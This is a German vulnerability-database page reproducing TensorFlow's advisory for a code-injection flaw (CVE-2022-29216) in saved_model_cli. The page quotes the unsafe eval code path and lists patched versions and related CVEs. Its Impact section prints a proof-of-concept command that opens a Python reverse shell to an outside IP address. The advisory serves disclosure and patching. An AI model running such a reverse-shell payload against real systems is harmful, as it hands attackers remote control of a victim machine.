Anmelden
Deutsch English Español Polski
Hoch

Code injection in `saved_model_cli` in TensorFlow

  • Veröffentlicht: 24.05.2022
  • Aktualisiert: 11.10.2026 14:17

Impact

TensorFlow's saved_model_cli tool is vulnerable to a code injection:

saved_model_cli run --input_exprs 'x=print("malicious code to run")' --dir ./
--tag_set serve --signature_def serving_default

This can be used to open a reverse shell

saved_model_cli run --input_exprs 'hello=exec("""\nimport socket\nimport
subprocess\ns=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\ns.connect(("10.0.2.143",33419))\nsubprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())""")'
--dir ./ --tag_set serve --signature_def serving_default

This is because the fix for CVE-2021-41228 was incomplete. Under certain code paths it still allows unsafe execution:

python
def preprocess_input_exprs_arg_string(input_exprs_str, safe=True):
  # ...

  for input_raw in filter(bool, input_exprs_str.split(';')):
    # ...
    if safe:
      # ...
    else:
      # ast.literal_eval does not work with numpy expressions
      input_dict[input_key] = eval(expr)  # pylint: disable=eval-used
  return input_dict

This code path was maintained for compatibility reasons as we had several test cases where numpy expressions were used as arguments.

However, given that the tool is always run manually, the impact of this is still not severe. We have now removed the safe=False argument, so all parsing is done withough calling eval.

Patches

We have patched the issue in GitHub commit c5da7af048611aa29e9382371f0aed5018516cac.

The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Andey Robins from the Cybersecurity Education and Research Lab in the Department of Computer Science at the University of Wyoming.

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
Python (PyPI) tensorflow < 2.6.4, >= 2.7.0, < 2.7.2, >= 2.8.0, < 2.8.1 2.6.4, 2.7.2, 2.8.1
Python (PyPI) tensorflow-cpu < 2.6.4, >= 2.7.0, < 2.7.2, >= 2.8.0, < 2.8.1 2.6.4, 2.7.2, 2.8.1
Python (PyPI) tensorflow-gpu < 2.6.4, >= 2.7.0, < 2.7.2, >= 2.8.0, < 2.8.1 2.6.4, 2.7.2, 2.8.1

Verweise

CVSS-Wert 7.8/10
CVSS-Vektor
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Schwäche (CWE)
CWE-94
Plattform
Python (PyPI)
Paket
tensorflow, tensorflow-cpu, tensorflow-gpu
Veröffentlicht
24.05.2022
Aktualisiert
11.10.2026 14:17

Quellen und Lizenzen

OSV / GitHub Advisory Database - PYSEC-2026-3125 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - PYSEC-2026-3289 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-75c9-jrh4-79mc - CC BY 4.0

OSV / GitHub Advisory Database - PYSEC-2026-963 - PyPA Advisory Database; CC BY 4.0

Schwachstellenhistorie: tensorflow-cpu

Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Alle (430) im Archiv
Einträge insgesamt
430
Erste → letzte
04.2019 07.2024
Ohne Fix
0
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Kritisch 6
  • Hoch 111
  • Mittel 208
  • Niedrig 105

Veröffentlichungen pro Jahr

Schweregrad:
  1. TensorFlow has segfault in array_ops.upper_bound
    Hoch · 7.5 CVE-2023-33976 < 2.12.1 2.12.1
  2. TensorFlow vulnerable to Out-of-Bounds Read in DynamicStitch
    Hoch · 7.5 CVE-2023-25659 < 2.11.1 2.11.1
  3. TensorFlow vulnerable to seg fault in `tf.raw_ops.Print`
    Hoch · 7.5 CVE-2023-25660 < 2.11.1 2.11.1
  4. TensorFlow vulnerable to integer overflow in EditDistance
    Hoch · 7.5 CVE-2023-25662 < 2.11.1 2.11.1
  5. TensorFlow has Null Pointer Error in TensorArrayConcatV2
    Hoch · 7.5 CVE-2023-25663 < 2.11.1 2.11.1
  6. TensorFlow has Heap-buffer-overflow in AvgPoolGrad
    Hoch · 7.5 CVE-2023-25664 < 2.11.1 2.11.1
  7. TensorFlow has Null Pointer Error in SparseSparseMaximum
    Hoch · 7.5 CVE-2023-25665 < 2.11.1 2.11.1
  8. TensorFlow has Floating Point Exception in AudioSpectrogram
    Hoch · 7.5 CVE-2023-25666 < 2.11.1 2.11.1
  9. TensorFlow has a heap out-of-buffer read vulnerability in the QuantizeAndDequantize operation
    Kritisch · 9.8 CVE-2023-25668 < 2.11.1 2.11.1
  10. TensorFlow has Floating Point Exception in AvgPoolGrad with XLA
    Hoch · 7.5 CVE-2023-25669 < 2.11.1 2.11.1
  11. TensorFlow has Null Pointer Error in QuantizedMatMulWithBiasAndDequantize
    Hoch · 7.5 CVE-2023-25670 < 2.11.1 2.11.1
  12. TensorFlow has segmentation fault in tfg-translate
    Hoch · 7.5 CVE-2023-25671 < 2.11.1 2.11.1
  13. TensorFlow has Null Pointer Error in LookupTableImportV2
    Hoch · 7.5 CVE-2023-25672 < 2.11.1 2.11.1
  14. TensorFlow has Floating Point Exception in TensorListSplit with XLA
    Hoch · 7.5 CVE-2023-25673 < 2.11.1 2.11.1
  15. TensorFlow has Null Pointer Error in RandomShuffle with XLA enable
    Hoch · 7.5 CVE-2023-25674 < 2.11.1 2.11.1
  16. TensorFlow has Segfault in Bincount with XLA
    Hoch · 7.5 CVE-2023-25675 < 2.11.1 2.11.1
  17. TensorFlow has null dereference on ParallelConcat with XLA
    Hoch · 7.5 CVE-2023-25676 < 2.11.1 2.11.1
  18. TensorFlow has double free in Fractional(Max/Avg)Pool
    Hoch · 8.0 CVE-2023-25801 < 2.11.1 2.11.1
  19. TensorFlow has Floating Point Exception in TFLite in conv kernel
    Hoch · 7.5 CVE-2023-27579 < 2.11.1 2.11.1
  20. TensorFlow vulnerable to Out-of-Bounds Read in GRUBlockCellGrad
    Hoch · 7.5 CVE-2023-25658 < 2.11.1 2.11.1
  21. Out of bounds write in grappler in Tensorflow
    Hoch · 7.1 CVE-2022-41902 < 2.8.4, >= 2.9.0, < 2.9.3, >= 2.10.0, < 2.10.1 2.8.4, 2.9.3, 2.10.1
  22. FractionalMaxPool and FractionalAVGPool heap out-of-bounds acess
    Hoch · 7.1 CVE-2022-41900 < 2.8.4, >= 2.9.0, < 2.9.3, >= 2.10.0, < 2.10.1 2.8.4, 2.9.3, 2.10.1
  23. TensorFlow vulnerable to OOB write in `scatter_nd` in TF Lite
    Hoch · 7.0 CVE-2022-35939 < 2.7.2, >= 2.8.0, < 2.8.1, >= 2.9.0, < 2.9.1 2.7.2, 2.8.1, 2.9.1
  24. TensorFlow vulnerable to OOB read in `Gather_nd` in TF Lite
    Hoch · 7.0 CVE-2022-35937 < 2.7.2, >= 2.8.0, < 2.8.1, >= 2.9.0, < 2.9.1 2.7.2, 2.8.1, 2.9.1
  25. Code injection in `saved_model_cli` in TensorFlow dieser Eintrag
    Hoch · 7.8 CVE-2022-29216 < 2.6.4, >= 2.7.0, < 2.7.2, >= 2.8.0, < 2.8.1 2.6.4, 2.7.2, 2.8.1
  26. Segfault and OOB write due to incomplete validation in `EditDistance` in TensorFlow
    Hoch · 7.1 CVE-2022-29208 < 2.6.4, >= 2.7.0, < 2.7.2, >= 2.8.0, < 2.8.1 2.6.4, 2.7.2, 2.8.1
  27. NULL Pointer Dereference and Access of Uninitialized Pointer in TensorFlow
    Kritisch · 9.3 ghsa-h6gw-r52c-724r < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  28. Improper Validation of Integrity Check Value in TensorFlow
    Hoch · 7.0 ghsa-43q8-3fv7-pr5x < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  29. Out of bounds read in Tensorflow
    Hoch · 8.8 CVE-2022-23594 >= 2.7.0, < 2.7.1 2.7.1
  30. Read and Write outside of bounds in TensorFlow
    Hoch · 8.8 CVE-2022-23560 < 2.5.3, >= 2.6.0, < 2.6.3 2.5.3, 2.6.3
  31. Insecure temporary file in Tensorflow
    Hoch · 7.1 CVE-2022-23563 < 2.5.3, >= 2.6.0, < 2.6.3 2.5.3, 2.6.3
  32. Out of bounds read in Tensorflow
    Hoch · 8.1 CVE-2022-23592 >= 2.7.0, < 2.8.0 2.8.0
  33. Stack overflow in TensorFlow
    Hoch · 7.5 CVE-2022-23591 < 2.5.3, >= 2.6.0, < 2.6.3 2.5.3, 2.6.3
  34. Out of bounds read and write in Tensorflow
    Hoch · 8.8 CVE-2022-23574 < 2.5.3, >= 2.6.0, < 2.6.3 2.5.3, 2.6.3
  35. Uninitialized variable access in Tensorflow
    Hoch · 7.6 CVE-2022-23573 < 2.5.3, >= 2.6.0, < 2.6.3 2.5.3, 2.6.3
  36. Integer overflow in Tensorflow
    Hoch · 7.6 CVE-2022-23562 < 2.5.3, >= 2.6.0, < 2.6.3 2.5.3, 2.6.3
  37. Out of bounds write in TFLite
    Hoch · 8.8 CVE-2022-23561 < 2.5.3, >= 2.6.0, < 2.6.3 2.5.3, 2.6.3
  38. Integer overflow in TFLite
    Hoch · 8.8 CVE-2022-23559 < 2.5.3, >= 2.6.0, < 2.6.3 2.5.3, 2.6.3
  39. Out of bounds write in Tensorflow
    Hoch · 8.8 CVE-2022-23566 < 2.5.3, >= 2.6.0, < 2.6.3 2.5.3, 2.6.3
  40. Use after free in `DecodePng` kernel
    Hoch · 7.6 CVE-2022-23584 < 2.5.3, >= 2.6.0, < 2.6.3 2.5.3, 2.6.3
  41. Integer overflow in TFLite array creation
    Hoch · 7.6 CVE-2022-23558 < 2.5.3, >= 2.6.0, < 2.6.3 2.5.3, 2.6.3
  42. Integer overflow in TensorFlow
    Hoch · 8.8 CVE-2022-23587 < 2.5.3, >= 2.6.0, < 2.6.3 2.5.3, 2.6.3
  43. Heap overflow in Tensorflow
    Hoch · 7.6 CVE-2022-21740 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  44. Division by zero in TFLite
    Hoch · 6.5 CVE-2022-21741 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  45. Null pointer dereference in TensorFlow
    Hoch · 6.5 CVE-2022-21739 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  46. Assertion failure based denial of service in Tensorflow
    Hoch · 6.5 CVE-2022-21737 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  47. Integer overflow leading to crash in Tensorflow
    Hoch · 6.5 CVE-2022-21738 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  48. `CHECK`-fails when building invalid tensor shapes in Tensorflow
    Hoch · 6.5 CVE-2022-23569 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  49. Overflow and uncaught divide by zero in Tensorflow
    Hoch · 6.5 CVE-2022-21729 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  50. `CHECK`-failures in Tensorflow
    Hoch · 6.5 CVE-2022-21734 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  51. Division by zero in Tensorflow
    Hoch · 6.5 CVE-2022-21735 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  52. Undefined behavior in `SparseTensorSliceDataset`
    Hoch · 7.6 CVE-2022-21736 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  53. Type confusion leading to segfault in Tensorflow
    Hoch · 6.5 CVE-2022-21731 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  54. Integer overflows in Tensorflow
    Hoch · 6.5 CVE-2022-23567 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  55. Integer overflows in Tensorflow
    Hoch · 6.5 CVE-2022-23568 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  56. Out of bounds read in Tensorflow
    Hoch · 8.1 CVE-2022-21726 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  57. Out of bounds read in Tensorflow
    Hoch · 8.1 CVE-2022-21728 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  58. Integer overflow in Tensorflow
    Hoch · 7.6 CVE-2022-21727 < 2.5.3, >= 2.6.0, < 2.6.3 2.5.3, 2.6.3
  59. Out of bounds read in Tensorflow
    Hoch · 8.1 CVE-2022-21730 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  60. Access to invalid memory during shape inference in `Cudnn*` ops
    Hoch · 7.8 CVE-2021-41221 >= 2.6.0, < 2.6.1, >= 2.5.0, < 2.5.2, < 2.4.4 2.6.1, 2.5.2, 2.4.4
Mehr anzeigen (20) 60 von 117 angezeigt

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Datenschutzerklärung

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.